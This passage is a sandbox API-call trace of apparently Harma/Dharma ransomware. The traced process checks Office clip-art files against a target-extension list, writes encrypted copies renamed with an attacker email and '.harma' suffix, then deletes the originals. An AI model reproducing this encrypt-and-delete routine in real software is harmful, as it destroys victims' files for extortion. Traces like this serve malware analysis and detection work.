nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2340, lpOverlapped=0x0) returned 1 [0155.574] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0155.574] WriteFile (in: hFile=0x380, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.574] SetEndOfFile (hFile=0x380) returned 1 [0155.574] CloseHandle (hObject=0x380) returned 1 [0155.575] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.575] SetEndOfFile (hFile=0x330) returned 1 [0155.577] CloseHandle (hObject=0x330) returned 1 [0155.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0155.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0155.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0155.578] lstrlenW (lpString=".doc") returned 4 [0155.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.578] lstrlenW (lpString=".docx") returned 5 [0155.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.578] lstrlenW (lpString=".pdf") returned 4 [0155.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.578] lstrlenW (lpString=".xls") returned 4 [0155.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.578] lstrlenW (lpString=".xlsx") returned 5 [0155.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.578] lstrlenW (lpString=".ppt") returned 4 [0155.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0155.578] lstrlenW (lpString=".zip") returned 4 [0155.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.579] lstrlenW (lpString=".rar") returned 4 [0155.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.579] lstrlenW (lpString=".bz2") returned 4 [0155.579] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.579] lstrlenW (lpString=".7z") returned 3 [0155.579] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0155.579] lstrlenW (lpString=".dbf") returned 4 [0155.579] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0155.579] lstrlenW (lpString=".1cd") returned 4 [0155.579] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0155.579] lstrlenW (lpString=".jpg") returned 4 [0155.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0155.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0155.579] lstrlenW (lpString=".doc") returned 4 [0155.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.579] lstrlenW (lpString=".docx") returned 5 [0155.579] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.579] lstrlenW (lpString=".pdf") returned 4 [0155.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.579] lstrlenW (lpString=".xls") returned 4 [0155.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.579] lstrlenW (lpString=".xlsx") returned 5 [0155.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.580] lstrlenW (lpString=".ppt") returned 4 [0155.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0155.580] lstrlenW (lpString=".zip") returned 4 [0155.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.580] lstrlenW (lpString=".rar") returned 4 [0155.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.580] lstrlenW (lpString=".bz2") returned 4 [0155.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.580] lstrlenW (lpString=".7z") returned 3 [0155.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0155.580] lstrlenW (lpString=".dbf") returned 4 [0155.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0155.580] lstrlenW (lpString=".1cd") returned 4 [0155.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0155.580] lstrlenW (lpString=".jpg") returned 4 [0155.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.580] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.580] lstrlenW (lpString="FD01660_.WMF") returned 12 [0155.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0155.583] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=12958) returned 1 [0155.583] CloseHandle (hObject=0x330) returned 1 [0155.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x20 [0155.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0155.584] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.584] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0155.584] GetLastError () returned 0x0 [0155.584] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x329e, lpOverlapped=0x0) returned 1 [0155.587] WriteFile (in: hFile=0x380, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x32a0, lpOverlapped=0x0) returned 1 [0155.588] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0155.588] WriteFile (in: hFile=0x380, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.589] SetEndOfFile (hFile=0x380) returned 1 [0155.589] CloseHandle (hObject=0x380) returned 1 [0155.589] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.589] SetEndOfFile (hFile=0x330) returned 1 [0155.591] CloseHandle (hObject=0x330) returned 1 [0155.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0155.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0155.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0155.592] lstrlenW (lpString=".doc") returned 4 [0155.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.592] lstrlenW (lpString=".docx") returned 5 [0155.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.592] lstrlenW (lpString=".pdf") returned 4 [0155.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.592] lstrlenW (lpString=".xls") returned 4 [0155.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.592] lstrlenW (lpString=".xlsx") returned 5 [0155.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.592] lstrlenW (lpString=".ppt") returned 4 [0155.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0155.592] lstrlenW (lpString=".zip") returned 4 [0155.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.592] lstrlenW (lpString=".rar") returned 4 [0155.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.592] lstrlenW (lpString=".bz2") returned 4 [0155.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.592] lstrlenW (lpString=".7z") returned 3 [0155.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0155.593] lstrlenW (lpString=".dbf") returned 4 [0155.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0155.593] lstrlenW (lpString=".1cd") returned 4 [0155.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0155.593] lstrlenW (lpString=".jpg") returned 4 [0155.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0155.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0155.593] lstrlenW (lpString=".doc") returned 4 [0155.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.593] lstrlenW (lpString=".docx") returned 5 [0155.593] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.593] lstrlenW (lpString=".pdf") returned 4 [0155.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.593] lstrlenW (lpString=".xls") returned 4 [0155.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.593] lstrlenW (lpString=".xlsx") returned 5 [0155.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.593] lstrlenW (lpString=".ppt") returned 4 [0155.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0155.593] lstrlenW (lpString=".zip") returned 4 [0155.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.593] lstrlenW (lpString=".rar") returned 4 [0155.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.593] lstrlenW (lpString=".bz2") returned 4 [0155.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.594] lstrlenW (lpString=".7z") returned 3 [0155.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0155.594] lstrlenW (lpString=".dbf") returned 4 [0155.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0155.594] lstrlenW (lpString=".1cd") returned 4 [0155.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0155.594] lstrlenW (lpString=".jpg") returned 4 [0155.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.594] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.594] lstrlenW (lpString="FD02068_.WMF") returned 12 [0155.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0155.595] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2488) returned 1 [0155.595] CloseHandle (hObject=0x330) returned 1 [0155.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x20 [0155.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0155.595] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.595] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0155.596] GetLastError () returned 0x0 [0155.596] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x9b8, lpOverlapped=0x0) returned 1 [0155.599] WriteFile (in: hFile=0x380, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0155.601] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0155.601] WriteFile (in: hFile=0x380, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.601] SetEndOfFile (hFile=0x380) returned 1 [0155.601] CloseHandle (hObject=0x380) returned 1 [0155.601] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.601] SetEndOfFile (hFile=0x330) returned 1 [0156.509] CloseHandle (hObject=0x330) returned 1 [0156.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0156.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0156.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0156.760] lstrlenW (lpString=".doc") returned 4 [0156.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.760] lstrlenW (lpString=".docx") returned 5 [0156.760] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.760] lstrlenW (lpString=".pdf") returned 4 [0156.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.760] lstrlenW (lpString=".xls") returned 4 [0156.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.760] lstrlenW (lpString=".xlsx") returned 5 [0156.760] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.760] lstrlenW (lpString=".ppt") returned 4 [0156.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0156.760] lstrlenW (lpString=".zip") returned 4 [0156.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.760] lstrlenW (lpString=".rar") returned 4 [0156.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.760] lstrlenW (lpString=".bz2") returned 4 [0156.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.760] lstrlenW (lpString=".7z") returned 3 [0156.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0156.760] lstrlenW (lpString=".dbf") returned 4 [0156.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0156.760] lstrlenW (lpString=".1cd") returned 4 [0156.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0156.760] lstrlenW (lpString=".jpg") returned 4 [0156.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0156.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0156.761] lstrlenW (lpString=".doc") returned 4 [0156.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.761] lstrlenW (lpString=".docx") returned 5 [0156.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.761] lstrlenW (lpString=".pdf") returned 4 [0156.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.761] lstrlenW (lpString=".xls") returned 4 [0156.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.761] lstrlenW (lpString=".xlsx") returned 5 [0156.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.761] lstrlenW (lpString=".ppt") returned 4 [0156.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0156.761] lstrlenW (lpString=".zip") returned 4 [0156.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.761] lstrlenW (lpString=".rar") returned 4 [0156.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.761] lstrlenW (lpString=".bz2") returned 4 [0156.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.761] lstrlenW (lpString=".7z") returned 3 [0156.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0156.761] lstrlenW (lpString=".dbf") returned 4 [0156.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0156.761] lstrlenW (lpString=".1cd") returned 4 [0156.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0156.761] lstrlenW (lpString=".jpg") returned 4 [0156.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.762] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0156.762] lstrlenW (lpString="FD02088_.WMF") returned 12 [0156.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0156.762] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3696) returned 1 [0156.762] CloseHandle (hObject=0x334) returned 1 [0156.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x20 [0156.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0156.763] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.763] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.764] GetLastError () returned 0x0 [0156.764] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xe70, lpOverlapped=0x0) returned 1 [0156.772] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe80, lpOverlapped=0x0) returned 1 [0156.773] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.773] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 